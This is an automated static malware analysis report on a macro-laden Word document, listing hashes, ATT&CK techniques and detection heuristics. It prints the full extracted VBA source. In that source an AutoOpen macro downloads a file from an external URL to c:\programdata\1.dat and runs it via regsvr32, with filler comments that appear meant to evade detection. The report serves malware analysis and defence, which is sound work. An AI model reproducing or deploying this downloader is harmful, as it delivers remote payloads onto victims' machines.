Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 deb7d8bd4c03fac7…

MALICIOUS

Office (OOXML)

113.5 KB Created: 2020-07-01 09:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 49b144e57ed80d54533cf9b3c70d3fb4 SHA-1: dec2a0e50a2a6767d035c78f269a032d68daca91 SHA-256: deb7d8bd4c03fac7e23dcbd1e77d9b9d70939072bb13ee884fe6c12ac2f95b99
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that executes a shell command. The script uses URLDownloadToFile to download a file from the URL 'https://bangrajan.org/wp-content/uploads/_m8CVdv47q2JCqgaq.php?x=MDAwMSD_acsCi6_1dic7V-Dk5gCE0DDV3NvQOyIDSnpYLVbLeUSOtixzS9j5_-xegs4j_zu5Lm49dFEVSaWhi1PlZnUr0Pw2gDPaJKfcHs2rPGyw94m8hYSKaHfJSB6c2WK5JcwPXSZMKLoHTbP2UWuljg~~' to 'c:\programdata\1.dat'. Subsequently, it uses regsvr32 to execute the downloaded file, indicating a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function vY Lib "urlmon" Alias "URLDownloadToFileA" (ByVal B3 As LongPtr, ByVal Xm As String, ByVal Cc As String, ByVal AL As LongPtr, ByVal eG As LongPtr) As Long
    #Else
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim hW As New WshShell
    hW.exec "regsvr32 c:\programdata\1.dat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "tm"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://bangrajan.org/wp-content/uploads/_m8CVdv47q2JCqgaq.php?x=MDAwMSD_acsCi6_1dic7V-Dk5gCE0DDV3NvQOyIDSnpYLVbLeUSOtixzS9j5_-xegs4j_zu5Lm49dFEVSaWhi1PlZnUr0Pw2gDPaJKfcHs2rPGyw94m8hYSKaHfJSB6c2WK5JcwPXSZMKLoHTbP2UWuljg~~ Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2323 bytes
SHA-256: 0e7ffc1d6705aecfc5042a639c33278c4ad04f04fef7f211e29d8e02984bbb98
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tm"
Sub autoopen()

' Spence blow manager
' Fickleness she shipments issued
' Cakes mangrove increasing
' Fluid breaking creator dancing
' Midi landscapes show dweller
r4 = vY(0, "https://bangrajan.org/wp-content/uploads/_m8CVdv47q2JCqgaq.php?x=MDAwMSD_acsCi6_1dic7V-Dk5gCE0DDV3NvQOyIDSnpYLVbLeUSOtixzS9j5_-xegs4j_zu5Lm49dFEVSaWhi1PlZnUr0Pw2gDPaJKfcHs2rPGyw94m8hYSKaHfJSB6c2WK5JcwPXSZMKLoHTbP2UWuljg~~", "c:\programdata\1.dat", 0, 0)

' Zero jumble
' Fixture aback fort former
' Neville
' Scholar unforgettable hinduism malt pesos
eI
End Sub

Attribute VB_Name = "tm1"
Sub eI()

' Treble
' Intermixture medical falcon gtk
' Hook thankfulness br baffle across thickness

' Eagles
' Ecclesiastes endangered
' Competent thereof voluminous centers broke
' Nondescript inculcate shingle plagiarism


' Non-commissioned probation os
' Vitamin unwashed anterior
' Propound proposals linked
' Accords lectures
' Equality bull robbie

' Digger qualification null nr
' Prints whiles succor things cm maynt
' Visiting
' Entitle machinist
' Lyric

' N inc authorized expostulation relax tv
' Alibi truck vista qualities flickr
' Lid efficiency metres

' Evolutionary further ethiopia
' Alexandra diffusion longer amanda ladle twice
' Entry retarded prowl lazy usc
' Districts toll blues
' Bucks weaver trespassing

' Artificial
' Melodious ven occult
' Netherlands
Dim hW As New WshShell
hW.exec "regsvr32 c:\programdata\1.dat"

' Is colonist sc
' Fin fellowship ge dusting
End Sub

Attribute VB_Name = "u"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function vY Lib "urlmon" Alias "URLDownloadToFileA" (ByVal B3 As LongPtr, ByVal Xm As String, ByVal Cc As String, ByVal AL As LongPtr, ByVal eG As LongPtr) As Long
#Else
Public Declare Function vY Lib "urlmon" Alias "URLDownloadToFileA"(ByVal B3 As Long, ByVal Xm As String, ByVal Cc As String, ByVal AL As Long, ByVal eG As Long) As Long
#End If
Function Y(r2)

' Terminating bell probate
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 95bf4732a03ef4915859652cfa8abbb02cb60ddb403913ea705a2afbaf2124c6